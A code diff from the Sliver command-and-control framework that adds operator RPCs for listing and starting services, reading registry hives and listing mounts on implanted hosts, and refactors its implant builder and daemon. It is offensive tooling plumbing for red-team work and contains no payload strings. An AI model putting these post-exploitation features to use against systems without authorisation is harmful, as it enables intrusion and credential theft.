Handler: _SliverRPC_ProcessDump_Handler,
@@ -6395,6 +6595,18 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "CurrentTokenOwner",
Handler: _SliverRPC_CurrentTokenOwner_Handler,
},
{
MethodName: "Services",
Handler: _SliverRPC_Services_Handler,
},
{
MethodName: "ServiceDetail",
Handler: _SliverRPC_ServiceDetail_Handler,
},
{
MethodName: "StartServiceByName",
Handler: _SliverRPC_StartServiceByName_Handler,
},
{
MethodName: "PivotStartListener",
Handler: _SliverRPC_PivotStartListener_Handler,
@@ -6467,6 +6679,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "RegistryListValues",
Handler: _SliverRPC_RegistryListValues_Handler,
},
{
MethodName: "RegistryReadHive",
Handler: _SliverRPC_RegistryReadHive_Handler,
},
{
MethodName: "RunSSHCommand",
Handler: _SliverRPC_RunSSHCommand_Handler,
+25
View File
@@ -342,6 +342,16 @@ const (
// MsgGrepReq - Request to grep for data
MsgGrepReq
// Services messages
MsgServicesReq
MsgServiceDetailReq
MsgStartServiceByNameReq
MsgRegistryReadHiveReq
// MsgMountReq - Request filesystem mounts
MsgMountReq
)
// Constants to replace enums
@@ -588,8 +598,12 @@ func MsgNumber(request proto.Message) uint32 {
case *GrepReq:
return MsgGrepReq
case *MountReq:
return MsgMountReq
case *MemfilesListReq:
return MsgMemfilesListReq
case *MemfilesAddReq:
return MsgMemfilesAddReq
case *MemfilesAdd:
@@ -608,6 +622,17 @@ func MsgNumber(request proto.Message) uint32 {
case *ExecWasmExtensionReq:
return MsgExecWasmExtensionReq
case *ServicesReq:
return MsgServicesReq
case *ServiceDetailReq:
return MsgServiceDetailReq
case *StartServiceByNameReq:
return MsgStartServiceByNameReq
case *RegistryReadHiveReq:
return MsgRegistryReadHiveReq
}
return uint32(0)
}
File diff suppressed because it is too large. Load diff
+78
View File
@@ -327,6 +327,28 @@ message Grep {
commonpb.Response Response = 9;
}
message MountReq {
commonpb.Request Request = 9;
}
message MountInfo {
string VolumeName = 1;
string VolumeType = 2;
string MountPoint = 3;
string Label = 4;
string FileSystem = 5;
uint64 UsedSpace = 6;
uint64 FreeSpace = 7;
uint64 TotalSpace = 8;
string MountOptions = 9;
}
message Mount {
repeated MountInfo Info = 1;
commonpb.Response Response = 9;
}
message ProcessDumpReq {
int32 Pid = 1;
int32 Timeout = 2;
@@ -340,6 +362,7 @@ message ProcessDump {
commonpb.Response Response = 9;
}
message RunAsReq {
string Username = 1;
string ProcessName = 2;
@@ -775,6 +798,19 @@ message RegistryValuesList {
commonpb.Response Response = 9;
}
message RegistryReadHiveReq {
string RootHive = 1;
string RequestedHive = 2;
commonpb.Request Request = 9;
}
message RegistryReadHive {
bytes Data = 1;
string Encoder = 2;
commonpb.Response Response = 9;
}
// Tunnel - Tunnel related messages
message Tunnel {
uint64 TunnelID = 8 [jstype = JS_STRING];
@@ -1288,3 +1324,45 @@ message ExecWasmExtension {
commonpb.Response Response = 9;
}
message ServicesReq {
string Hostname = 1;
commonpb.Request Request = 9;
}
message ServiceDetailReq {
ServiceInfoReq ServiceInfo = 1;
commonpb.Request Request = 9;
}
message ServiceDetails {
string Name = 1;
string DisplayName = 2;
string Description = 3;
uint32 Status = 4;
uint32 StartupType = 5;
string BinPath = 6;
string Account = 7;
}
message Services {
repeated ServiceDetails Details = 1;
string Error = 2;
commonpb.Response Response = 9;
}
message ServiceDetail {
ServiceDetails Detail = 1;
string Message = 2;
commonpb.Response Response = 9;
}
message StartServiceByNameReq {
ServiceInfoReq ServiceInfo = 1;
commonpb.Request Request = 9;
}
+70 -33
View File
@@ -23,17 +23,19 @@ import (
"fmt"
"io"
"os"
"os/signal"
"path/filepath"
"strings"
"sync"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/generate"
"github.com/bishopfox/sliver/server/log"
"google.golang.org/grpc"
)
var (
@@ -46,31 +48,48 @@ type Config struct {
Formats []clientpb.OutputFormat
}
type Builder struct {
externalBuilder *clientpb.Builder
mutex *sync.Mutex
rpc rpcpb.SliverRPCClient
ln *grpc.ClientConn
}
func NewBuilder(config *clientpb.Builder, m *sync.Mutex, rpc rpcpb.SliverRPCClient, ln *grpc.ClientConn) *Builder {
return &Builder{
externalBuilder: config,
mutex: m,
rpc: rpc,
ln: ln,
}
}
// StartBuilder - main entry point for the builder
func StartBuilder(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient) {
sigint := make(chan os.Signal, 1)
signal.Notify(sigint, os.Interrupt)
builderLog.Infof("Attempting to register builder: %s", externalBuilder.Name)
events, err := buildEvents(externalBuilder, rpc)
func (b *Builder) Start() {
builderLog.Infof("Attempting to register builder: %s", b.externalBuilder.Name)
events, err := b.buildEvents()
if err != nil {
os.Exit(1)
}
// Wait for signal or builds
for {
select {
case <-sigint:
return
case event := <-events:
go handleBuildEvent(externalBuilder, event, rpc)
go b.handleBuildEvent(event)
}
}
}
func buildEvents(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient) (<-chan *clientpb.Event, error) {
eventStream, err := rpc.BuilderRegister(context.Background(), externalBuilder)
func (b *Builder) Stop() {
builderLog.Infof("Stopping builder %s", b.externalBuilder.Name)
b.mutex.Lock()
defer b.mutex.Unlock()
b.ln.Close()
builderLog.Infof("Builder %s stopped", b.externalBuilder.Name)
}
func (b *Builder) buildEvents() (<-chan *clientpb.Event, error) {
eventStream, err := b.rpc.BuilderRegister(context.Background(), b.externalBuilder)
if err != nil {
builderLog.Errorf("failed to register builder: %s", err)
return nil, err
@@ -81,7 +100,9 @@ func buildEvents(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient) (
event, err := eventStream.Recv()
if err == io.EOF || event == nil {
builderLog.Errorf("builder event stream closed")
os.Exit(1)
// return instead of exit because EOF can happen when we call `Builder.Stop()`
// during a reload from SIGHUP
return
}
// Trigger event based on type
@@ -97,7 +118,7 @@ func buildEvents(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient) (
}
// handleBuildEvent - Handle an individual build event
func handleBuildEvent(externalBuilder *clientpb.Builder, event *clientpb.Event, rpc rpcpb.SliverRPCClient) {
func (b *Builder) handleBuildEvent(event *clientpb.Event) {
parts := strings.Split(string(event.Data), ":")
if len(parts) < 2 {
@@ -105,19 +126,19 @@ func handleBuildEvent(externalBuilder *clientpb.Builder, event *clientpb.Event,
return
}
builderName := strings.Join(parts[:len(parts)-1], ":")
if builderName != externalBuilder.Name {
if builderName != b.externalBuilder.Name {
builderLog.Debugf("This build event is for someone else (%s), ignoring", builderName)
return
}
implantBuildID := parts[1]
builderLog.Infof("Build event for implant build id: %s", implantBuildID)
extConfig, err := rpc.GenerateExternalGetBuildConfig(context.Background(), &clientpb.ImplantBuild{
extConfig, err := b.rpc.GenerateExternalGetBuildConfig(context.Background(), &clientpb.ImplantBuild{
ID: implantBuildID,
})
if err != nil {
builderLog.Errorf("Failed to get build config: %s", err)
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
EventType: consts.ExternalBuildFailedEvent,
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err.Error())),
})
@@ -125,15 +146,15 @@ func handleBuildEvent(externalBuilder *clientpb.Builder, event *clientpb.Event,
}
if extConfig == nil {
builderLog.Errorf("nil extConfig")
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
EventType: consts.ExternalBuildFailedEvent,
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, "nil external config")),
})
return
}
if !isSupportedTarget(externalBuilder.Targets, extConfig.Config) {
if !isSupportedTarget(b.externalBuilder.Targets, extConfig.Config) {
builderLog.Warnf("Skipping event, unsupported target %s:%s/%s", extConfig.Config.Format, extConfig.Config.GOOS, extConfig.Config.GOARCH)
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
EventType: consts.ExternalBuildFailedEvent,
Data: []byte(
fmt.Sprintf("%s:%s", implantBuildID, fmt.Sprintf("unsupported target %s:%s/%s", extConfig.Config.Format, extConfig.Config.GOOS, extConfig.Config.GOARCH)),
@@ -143,7 +164,7 @@ func handleBuildEvent(externalBuilder *clientpb.Builder, event *clientpb.Event,
}
if extConfig.Config.TemplateName != "sliver" {
builderLog.Warnf("Reject event, unsupported template '%s'", extConfig.Config.TemplateName)
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
EventType: consts.ExternalBuildFailedEvent,
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, "Unsupported template")),
})
@@ -156,24 +177,40 @@ func handleBuildEvent(externalBuilder *clientpb.Builder, event *clientpb.Event,
builderLog.Infof(" [c2] mtls:%t wg:%t http/s:%t dns:%t", extModel.IncludeMTLS, extModel.IncludeWG, extModel.IncludeHTTP, extModel.IncludeDNS)
builderLog.Infof("[pivots] tcp:%t named-pipe:%t", extModel.IncludeTCP, extModel.IncludeNamePipe)
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
EventType: consts.AcknowledgeBuildEvent,
Data: []byte(implantBuildID),
})
httpC2Config, err := db.LoadHTTPC2ConfigByName(extConfig.Config.HTTPC2ConfigName)
if err != nil {
builderLog.Errorf("Failed to load c2 config: %s", err)
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
EventType: consts.ExternalBuildFailedEvent,
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err.Error())),
})
return
}
var fPath string
switch extConfig.Config.Format {
case clientpb.OutputFormat_SERVICE:
fallthrough
case clientpb.OutputFormat_EXECUTABLE:
fPath, err = generate.SliverExecutable(extConfig.Build.Name, extConfig.Build, extConfig.Config, extConfig.HTTPC2.ImplantConfig)
b.mutex.Lock()
fPath, err = generate.SliverExecutable(extConfig.Build.Name, extConfig.Build, extConfig.Config, httpC2Config.ImplantConfig)
b.mutex.Unlock()
case clientpb.OutputFormat_SHARED_LIB:
fPath, err = generate.SliverSharedLibrary(extConfig.Build.Name, extConfig.Build, extConfig.Config, extConfig.HTTPC2.ImplantConfig)
b.mutex.Lock()
fPath, err = generate.SliverSharedLibrary(extConfig.Build.Name, extConfig.Build, extConfig.Config, httpC2Config.ImplantConfig)
b.mutex.Unlock()
case clientpb.OutputFormat_SHELLCODE:
fPath, err = generate.SliverShellcode(extConfig.Build.Name, extConfig.Build, extConfig.Config, extConfig.HTTPC2.ImplantConfig)
b.mutex.Lock()
fPath, err = generate.SliverShellcode(extConfig.Build.Name, extConfig.Build, extConfig.Config, httpC2Config.ImplantConfig)
b.mutex.Unlock()
default:
builderLog.Errorf("invalid output format: %s", extConfig.Config.Format)
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
EventType: consts.ExternalBuildFailedEvent,
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err.Error())),
})
@@ -181,7 +218,7 @@ func handleBuildEvent(externalBuilder *clientpb.Builder, event *clientpb.Event,
}
if err != nil {
builderLog.Errorf("Failed to generate sliver: %s", err)
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
EventType: consts.ExternalBuildFailedEvent,
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err.Error())),
})
@@ -192,7 +229,7 @@ func handleBuildEvent(externalBuilder *clientpb.Builder, event *clientpb.Event,
data, err := os.ReadFile(fPath)
if err != nil {
builderLog.Errorf("Failed to read generated sliver: %s", err)
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
EventType: consts.ExternalBuildFailedEvent,
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err.Error())),
})
@@ -205,7 +242,7 @@ func handleBuildEvent(externalBuilder *clientpb.Builder, event *clientpb.Event,
}
builderLog.Infof("Uploading '%s' to server ...", extConfig.Build.Name)
_, err = rpc.GenerateExternalSaveBuild(context.Background(), &clientpb.ExternalImplantBinary{
_, err = b.rpc.GenerateExternalSaveBuild(context.Background(), &clientpb.ExternalImplantBinary{
Name: extConfig.Build.Name,
ImplantBuildID: extConfig.Build.ID,
File: &commonpb.File{
@@ -215,13 +252,13 @@ func handleBuildEvent(externalBuilder *clientpb.Builder, event *clientpb.Event,
})
if err != nil {
builderLog.Errorf("Failed to save build: %s", err)
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
EventType: consts.ExternalBuildFailedEvent,
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, err.Error())),
})
return
}
rpc.BuilderTrigger(context.Background(), &clientpb.Event{
b.rpc.BuilderTrigger(context.Background(), &clientpb.Event{
EventType: consts.ExternalBuildCompletedEvent,
Data: []byte(fmt.Sprintf("%s:%s", implantBuildID, extConfig.Build.Name)),
})
+133 -30
View File
@@ -21,15 +21,21 @@ package cli
import (
"fmt"
"os"
"os/signal"
"path/filepath"
"runtime"
"runtime/debug"
"strings"
"sync"
"syscall"
clientAssets "github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/client/version"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/assets"
"github.com/bishopfox/sliver/server/builder"
"github.com/bishopfox/sliver/server/c2"
"github.com/bishopfox/sliver/server/generate"
"github.com/bishopfox/sliver/server/log"
"github.com/spf13/cobra"
@@ -43,15 +49,17 @@ const (
enableTargetFlagStr = "enable-target"
disableTargetFlagStr = "disable-target"
operatorConfigFlagStr = "config"
quietFlagStr = "quiet"
logLevelFlagStr = "log-level"
operatorConfigFlagStr = "config"
operatorConfigDirFlagStr = "config-dir"
quietFlagStr = "quiet"
logLevelFlagStr = "log-level"
)
func initBuilderCmd() *cobra.Command {
builderCmd.Flags().StringP(nameFlagStr, "n", "", "Name of the builder (blank = hostname)")
builderCmd.Flags().IntP(logLevelFlagStr, "L", 4, "Logging level: 1/fatal, 2/error, 3/warn, 4/info, 5/debug, 6/trace")
builderCmd.Flags().StringP(operatorConfigFlagStr, "c", "", "operator config file path")
builderCmd.Flags().StringP(operatorConfigDirFlagStr, "d", "", "operator config directory path")
builderCmd.Flags().BoolP(quietFlagStr, "q", false, "do not write any content to stdout")
// Artifact configuration options
@@ -61,6 +69,8 @@ func initBuilderCmd() *cobra.Command {
return builderCmd
}
var builders []*builder.Builder
var builderCmd = &cobra.Command{
Use: "builder",
Short: "Start the process as an external builder",
@@ -71,8 +81,14 @@ var builderCmd = &cobra.Command{
builderLog.Errorf("Failed to parse --%s flag %s\n", operatorConfigFlagStr, err)
return
}
if configPath == "" {
builderLog.Errorf("Missing --%s flag\n", operatorConfigFlagStr)
configDir, err := cmd.Flags().GetString(operatorConfigDirFlagStr)
if err != nil {
builderLog.Errorf("Failed to parse --%s flag %s\n", operatorConfigDirFlagStr, err)
return
}
if configPath == "" && configDir == "" {
builderLog.Errorf("Missing --%s or --%s flags\n", operatorConfigFlagStr, operatorConfigDirFlagStr)
return
}
@@ -100,37 +116,124 @@ var builderCmd = &cobra.Command{
}
}()
externalBuilder := parseBuilderConfigFlags(cmd)
externalBuilder.Templates = []string{"sliver"}
// load the client configuration from the filesystem
config, err := clientAssets.ReadConfig(configPath)
if err != nil {
builderLog.Fatalf("Invalid config file: %s", err)
os.Exit(-1)
// setup assets
assets.Setup(true, false)
// setup default profiles for HTTP C2
c2.SetupDefaultC2Profiles()
config := configPath
multipleBuilders := (configPath == "" && configDir != "")
if multipleBuilders {
config = configDir
}
if externalBuilder.Name == "" {
builderLog.Infof("No builder name was specified, attempting to use hostname")
externalBuilder.Name, err = os.Hostname()
if err != nil {
builderLog.Errorf("Failed to get hostname: %s", err)
externalBuilder.Name = fmt.Sprintf("%s's %s builder", config.Operator, runtime.GOOS)
startBuilders(cmd, config, multipleBuilders)
// Handle SIGHUP to reload builders
sigHup := make(chan os.Signal, 1)
signal.Notify(sigHup, syscall.SIGHUP)
// Handle interupt to stop all builders and exit
sigInt := make(chan os.Signal, 1)
signal.Notify(sigInt, os.Interrupt)
for {
select {
case <-sigHup:
builderLog.Info("Received SIGHUP, reloading builders")
reloadBuilders(cmd, config, multipleBuilders)
case <-sigInt:
builderLog.Info("Received SIGINT, stopping all builders")
for _, builderInst := range builders {
builderInst.Stop()
}
return
}
}
builderLog.Infof("Hello my name is: %s", externalBuilder.Name)
// connect to the server
builderLog.Infof("Connecting to %s@%s:%d ...", config.Operator, config.LHost, config.LPort)
rpc, ln, err := transport.MTLSConnect(config)
if err != nil {
builderLog.Errorf("Failed to connect to server: %s", err)
os.Exit(-2)
}
defer ln.Close()
builder.StartBuilder(externalBuilder, rpc)
},
}
// Start all builders if multpile is true or a single builder otherwise.
func startBuilders(cmd *cobra.Command, config string, multpile bool) {
// We're passing a mutex to each builder to prevent concurrent builds.
// Concurrent build should be fine in theory, but may cause resource
// exhaustion on the server.
// For single builders, this should have no impact.
mutex := &sync.Mutex{}
// Single builder
if !multpile {
singleBuilder, err := createBuilder(cmd, config, mutex)
if err != nil {
builderLog.Errorf("Failed to create builder: %s", err)
os.Exit(-1)
}
// Start single builder (blocking call)
singleBuilder.Start()
} else {
// Multiple builders
builderLog.Infof("Reading config dir: %s", config)
err := filepath.Walk(config, func(path string, info os.FileInfo, err error) error {
if err != nil {
builderLog.Errorf("Failed to walk config dir: %s", err)
return err
}
if info.IsDir() {
return nil
}
go func() {
builderLog.Infof("Starting builder with config file: %s", path)
builderInst, err := createBuilder(cmd, path, mutex)
if err != nil {
builderLog.Errorf("Failed to create builder: %s", err)
return
}
builders = append(builders, builderInst)
builderInst.Start()
}()
return nil
})
if err != nil {
builderLog.Errorf("Failed to walk config dir: %s", err)
return
}
}
}
func reloadBuilders(cmd *cobra.Command, config string, multiple bool) {
builderLog.Infof("Reloading builders")
for _, builderInst := range builders {
builderInst.Stop()
}
builders = nil
startBuilders(cmd, config, multiple)
}
func createBuilder(cmd *cobra.Command, configPath string, mutex *sync.Mutex) (*builder.Builder, error) {
externalBuilder := parseBuilderConfigFlags(cmd)
externalBuilder.Templates = []string{"sliver"}
// load the client configuration from the filesystem
config, err := clientAssets.ReadConfig(configPath)
if err != nil {
builderLog.Fatalf("Invalid config file: %s", err)
return nil, err
}
if externalBuilder.Name == "" {
builderLog.Infof("No builder name was specified, attempting to use hostname")
externalBuilder.Name, err = os.Hostname()
if err != nil {
builderLog.Errorf("Failed to get hostname: %s", err)
externalBuilder.Name = fmt.Sprintf("%s's %s builder", config.Operator, runtime.GOOS)
}
}
builderLog.Infof("Hello my name is: %s", externalBuilder.Name)
// connect to the server
builderLog.Infof("Connecting to %s@%s:%d ...", config.Operator, config.LHost, config.LPort)
rpc, ln, err := transport.MTLSConnect(config)
if err != nil {
builderLog.Errorf("Failed to connect to server %s@%s:%d: %s", config.Operator, config.LHost, config.LPort, err)
return nil, err
}
return builder.NewBuilder(externalBuilder, mutex, rpc, ln), nil
}
func parseBuilderConfigFlags(cmd *cobra.Command) *clientpb.Builder {
externalBuilder := &clientpb.Builder{GOOS: runtime.GOOS, GOARCH: runtime.GOARCH}
+5 -1
View File
@@ -48,7 +48,9 @@ const (
lhostFlagStr = "lhost"
lportFlagStr = "lport"
saveFlagStr = "save"
outputFlagStr = "output"
permissionsFlagStr = "permissions"
tailscaleFlagStr = "tailscale"
// Cert flags
caTypeFlagStr = "type"
@@ -79,6 +81,7 @@ func init() {
operatorCmd.Flags().StringP(lhostFlagStr, "l", "", "multiplayer listener host")
operatorCmd.Flags().Uint16P(lportFlagStr, "p", uint16(31337), "multiplayer listener port")
operatorCmd.Flags().StringP(saveFlagStr, "s", "", "save file to ...")
operatorCmd.Flags().StringP(outputFlagStr, "o", "file", "output format (file, stdout)")
operatorCmd.Flags().StringSliceP(permissionsFlagStr, "P", []string{}, "grant permissions to the operator profile (all, builder, crackstation)")
rootCmd.AddCommand(operatorCmd)
@@ -95,6 +98,7 @@ func init() {
daemonCmd.Flags().StringP(lhostFlagStr, "l", daemon.BlankHost, "multiplayer listener host")
daemonCmd.Flags().Uint16P(lportFlagStr, "p", daemon.BlankPort, "multiplayer listener port")
daemonCmd.Flags().BoolP(forceFlagStr, "f", false, "force unpack and overwrite static assets")
daemonCmd.Flags().BoolP(tailscaleFlagStr, "t", false, "enable tailscale")
rootCmd.AddCommand(daemonCmd)
// Builder
@@ -141,7 +145,7 @@ var rootCmd = &cobra.Command{
fmt.Println(err)
}
if serverConfig.DaemonMode {
daemon.Start(daemon.BlankHost, daemon.BlankPort)
daemon.Start(daemon.BlankHost, daemon.BlankPort, serverConfig.DaemonConfig.Tailscale)
} else {
os.Args = os.Args[:1] // Hide cli from grumble console
console.Start()
+8 -1
View File
@@ -39,6 +39,12 @@ var daemonCmd = &cobra.Command{
return
}
tailscale, err := cmd.Flags().GetBool(tailscaleFlagStr)
if err != nil {
fmt.Printf("Failed to parse --%s flag %s\n", tailscaleFlagStr, err)
return
}
appDir := assets.GetRootAppDir()
logFile := initConsoleLogging(appDir)
defer logFile.Close()
@@ -52,6 +58,7 @@ var daemonCmd = &cobra.Command{
}()
assets.Setup(force, false)
c2.SetupDefaultC2Profiles()
certs.SetupCAs()
certs.SetupWGKeys()
cryptography.AgeServerKeyPair()
@@ -67,7 +74,7 @@ var daemonCmd = &cobra.Command{
fmt.Println(err)
}
daemon.Start(lhost, uint16(lport))
daemon.Start(lhost, uint16(lport), tailscale)
},
}
+30 -14
View File
@@ -28,6 +28,11 @@ import (
"github.com/spf13/cobra"
)
const (
outputFile = "file"
outputStdout = "stdout"
)
var operatorCmd = &cobra.Command{
Use: "operator",
Short: "Generate operator configuration files",
@@ -68,6 +73,12 @@ var operatorCmd = &cobra.Command{
save, _ = os.Getwd()
}
output, err := cmd.Flags().GetString(outputFlagStr)
if err != nil {
fmt.Printf("Failed to parse --%s flag %s", outputFlagStr, err)
return
}
permissions, err := cmd.Flags().GetStringSlice(permissionsFlagStr)
if err != nil {
fmt.Printf("Failed to parse --%s flag %s", permissionsFlagStr, err)
@@ -85,20 +96,25 @@ var operatorCmd = &cobra.Command{
return
}
saveTo, _ := filepath.Abs(save)
fi, err := os.Stat(saveTo)
if !os.IsNotExist(err) && !fi.IsDir() {
fmt.Printf("File already exists: %s\n", err)
return
}
if !os.IsNotExist(err) && fi.IsDir() {
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(name), filepath.Base(lhost))
saveTo = filepath.Join(saveTo, filename)
}
err = os.WriteFile(saveTo, configJSON, 0600)
if err != nil {
fmt.Printf("Write failed: %s (%s)\n", saveTo, err)
return
switch output {
case outputFile:
saveTo, _ := filepath.Abs(save)
fi, err := os.Stat(saveTo)
if !os.IsNotExist(err) && !fi.IsDir() {
fmt.Printf("File already exists: %s\n", err)
return
}
if !os.IsNotExist(err) && fi.IsDir() {
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(name), filepath.Base(lhost))
saveTo = filepath.Join(saveTo, filename)
}
err = os.WriteFile(saveTo, configJSON, 0600)
if err != nil {
fmt.Printf("Write failed: %s (%s)\n", saveTo, err)
return
}
case outputStdout:
fmt.Println(string(configJSON))
}
},
}
+3 -2
View File
@@ -57,8 +57,9 @@ type LogConfig struct {
// DaemonConfig - Configure daemon mode
type DaemonConfig struct {
Host string `json:"host"`
Port int `json:"port"`
Host string `json:"host"`
Port int `json:"port"`
Tailscale bool `json:"tailscale"`
}
// JobConfig - Restart Jobs on Load
+3
View File
@@ -74,6 +74,7 @@ type Session struct {
PeerID int64
Locale string
FirstContact int64
Integrity string
}
// LastCheckin - Get the last time a session message was received
@@ -140,6 +141,7 @@ func (s *Session) ToProtobuf() *clientpb.Session {
PeerID: s.PeerID,
Locale: s.Locale,
FirstContact: s.FirstContact,
Integrity: s.Integrity,
}
}
@@ -249,6 +251,7 @@ func NewSession(implantConn *ImplantConnection) *Session {
ID: nextSessionID(),
Connection: implantConn,
FirstContact: time.Now().Unix(),
Integrity: "-",
}
}
+11 -3
View File
@@ -20,6 +20,7 @@ package daemon
import (
"fmt"
"net"
"os"
"os/signal"
"syscall"
@@ -40,8 +41,11 @@ var (
)
// Start - Start as daemon process
func Start(host string, port uint16) {
func Start(host string, port uint16, tailscale bool) {
var (
ln net.Listener
err error
)
// cli args take president over config
if host == BlankHost {
daemonLog.Info("No cli lhost, using config file or default value")
@@ -53,7 +57,11 @@ func Start(host string, port uint16) {
}
daemonLog.Infof("Starting Sliver daemon %s:%d ...", host, port)
_, ln, err := transport.StartMtlsClientListener(host, port)
if tailscale {
_, ln, err = transport.StartTsNetClientListener(host, port)
} else {
_, ln, err = transport.StartMtlsClientListener(host, port)
}
if err != nil {
fmt.Printf("[!] Failed to start daemon %s", err)
daemonLog.Errorf("Error starting client listener %s", err)
+3
View File
@@ -53,6 +53,7 @@ type Beacon struct {
ActiveC2 string
ProxyURL string
Locale string
Integrity string
ImplantBuildID uuid.UUID `gorm:"type:uuid;"`
@@ -66,6 +67,7 @@ type Beacon struct {
// BeforeCreate - GORM hook
func (b *Beacon) BeforeCreate(tx *gorm.DB) (err error) {
b.CreatedAt = time.Now()
b.Integrity = "-"
return nil
}
@@ -94,6 +96,7 @@ func (b *Beacon) ToProtobuf() *clientpb.Beacon {
NextCheckin: b.NextCheckin,
Locale: b.Locale,
FirstContact: b.CreatedAt.Unix(),
Integrity: b.Integrity,
}
}
+5
View File
@@ -220,6 +220,11 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
dest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
dest += ".bin"
// if the destination already exists, delete it
if _, err := os.Stat(dest); err == nil {
os.Remove(dest)
}
tags := []string{}
if config.NetGoEnabled {
tags = append(tags, "netgo")
+9 -8
View File
@@ -83,6 +83,7 @@ var (
"dw": true,
"dword": true,
"exe": true,
"exe-service": true,
"hex": true,
"java": true,
"js_be": true,
@@ -221,10 +222,10 @@ func VenomPayload(config VenomConfig) ([]byte, error) {
func venomCmd(args []string) ([]byte, error) {
msfLog.Printf("%s %v", venomBin, args)
cmd := exec.Command(venomBin, args...)
var stdout bytes.Buffer
var stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
stdout := new(bytes.Buffer)
stderr := new(bytes.Buffer)
cmd.Stdout = stdout
cmd.Stderr = stderr
err := cmd.Run()
msfLog.Println(cmd.String())
if err != nil {
@@ -239,10 +240,10 @@ func venomCmd(args []string) ([]byte, error) {
// consoleCmd - Execute a msfvenom command
func consoleCmd(args []string) ([]byte, error) {
cmd := exec.Command(consoleBin, args...)
var stdout bytes.Buffer
var stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
stdout := new(bytes.Buffer)
stderr := new(bytes.Buffer)
cmd.Stdout = stdout
cmd.Stderr = stderr
err := cmd.Run()
if err != nil {
msfLog.Printf("--- stdout ---\n%s\n", stdout.String())
+15
View File
@@ -125,3 +125,18 @@ func (rpc *Server) CancelBeaconTask(ctx context.Context, req *clientpb.BeaconTas
}
return task, nil
}
// UpdateBeaconIntegrityInformation - Update process integrity information for a beacon
func (rpc *Server) UpdateBeaconIntegrityInformation(ctx context.Context, req *clientpb.BeaconIntegrity) (*commonpb.Empty, error) {
resp := &commonpb.Empty{}
beacon, err := db.BeaconByID(req.BeaconID)
if err != nil || beacon == nil {
return resp, ErrInvalidBeaconID
}
beacon.Integrity = req.Integrity
err = db.Session().Save(beacon).Error
if err != nil {
return resp, err
}
return resp, nil
}
+10
View File
@@ -239,3 +239,13 @@ func (rpc *Server) Grep(ctx context.Context, req *sliverpb.GrepReq) (*sliverpb.G
}
return resp, nil
}
// Mount - Get information on mounted filesystems
func (rpc *Server) Mount(ctx context.Context, req *sliverpb.MountReq) (*sliverpb.Mount, error) {
resp := &sliverpb.Mount{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
+16
View File
@@ -151,10 +151,26 @@ func (rpc *Server) MakeToken(ctx context.Context, req *sliverpb.MakeTokenReq) (*
// GetPrivs - gRPC interface to get privilege information from the current process
func (rpc *Server) GetPrivs(ctx context.Context, req *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
sessionID := req.Request.SessionID
resp := &sliverpb.GetPrivs{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
/*
Update integrity information for a session
beacons will have to be updated by the client after the information is received from the implant
*/
if !req.Request.Async {
session := core.Sessions.Get(sessionID)
if session == nil {
return nil, ErrInvalidSessionID
}
session.Integrity = resp.ProcessIntegrity
core.Sessions.UpdateSession(session)
}
return resp, nil
}
+10
View File
@@ -84,3 +84,13 @@ func (rpc *Server) RegistryListValues(ctx context.Context, req *sliverpb.Registr
}
return resp, nil
}
// RegistryDumpHive - gRPC interface to dump a specific registry hive as a binary file
func (rpc *Server) RegistryReadHive(ctx context.Context, req *sliverpb.RegistryReadHiveReq) (*sliverpb.RegistryReadHive, error) {
resp := &sliverpb.RegistryReadHive{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
return resp, nil
}
+28
View File
@@ -7,6 +7,25 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
